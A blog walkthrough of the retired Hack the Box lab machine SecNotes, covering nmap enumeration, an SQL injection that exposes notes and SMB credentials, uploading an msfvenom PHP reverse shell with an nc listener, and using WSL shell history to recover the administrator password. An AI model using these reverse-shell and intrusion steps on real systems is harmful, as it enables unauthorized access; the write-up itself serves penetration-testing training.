Hack the Box (HTB) machines walkthrough series — SecNotes
Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named SecNotes.
HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.
Enjoy CTFs? Take our challenge!
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named SecNotes, is retired.
Let’s start with this machine.
1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
2. The SecNotes machine IP is 10.10.10.97.
3. We will adopt the same methodology of performing penetration testing as we’ve previously used. Let’s start with enumeration in order to gain as much information about the machine as possible.
4. As usual, let’s start with the nmap scan to gather more information about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA SecNotes 10.10.10.97>>
5. We can see that ports 80 and 445 are only opened from outside in a default scan. Let’s begin enumeration on port 80.
6. We have created a dummy user titled “lhm” and below is what we get. OK, so the username is reflected. That gets me going on SQLi.
7. After a few tries, we find that the one below worked, and we get some notes under Mimi’s section.
8. Building from previous discovery, let’s try to access the above share, since port 445 is also opened.
<<smbclient 10.10.10.97new-site -U tyler>>
9. But all we get below are some IIS start pages. Hang on, but we never got an indication from the original nmap scan. It looks like some ports are missing from the default scan. We ran the complete scan and found port 8808.
10. Browsing port 8808, we got an IIS start page.
11. The idea is to now generate a reverse shell from msfvenom and submit that into the directory, and then browse it to get a reverse shell back.
- Generation of msfvenom reverse shell.
<<msfvenom -p php/reverse_php LHOST=<> LPORT=4488 -o shell.php>>
- We set up a local port to listen back for connections.
<<nc -nlvp 4488>>
- However, it results in a very restricted and unstable shell.
- Another option is to create a reverse shell like below:
- The below screenshot shows that the reverse shell is deployed in the server.
12. Now we can access the reverse shell and get the shell.
13. Grab the user.txt flag.
14. Let’s start the process to escalate the privileges.
15. In the same directory there is a bash.link file, which is interesting as it hosts bash.exe.
16. We find the location of bash.exe.
<<dir bash.exe /b/s>>
17. So bash.exe should also be working on an image. Upon enumeration, we found that Ubuntu was also present on the system.
18. This is an indication that WSL is installed on the machine. Simply executing the bash.exe gives us an escalated shell in Ubuntu.
19. Let’s enumerate the system. Looking into history reveals the Admin password.
20. Let’s use the password and connect using smb, as below:
<<smbclient -U ‘administrator’ 10.10.10.97c$>>
21. We use enumerating to grab the root.txt file
So this was a fun box with lots of assumptions. But the initial foothold was recognizing a web app vulnerability, followed by complete enumeration and then some magic tricks in the machine to find a subsystem hosted in order to reveal the admin password.
What should you learn next?
We will continue this series with more such interesting HTB machines.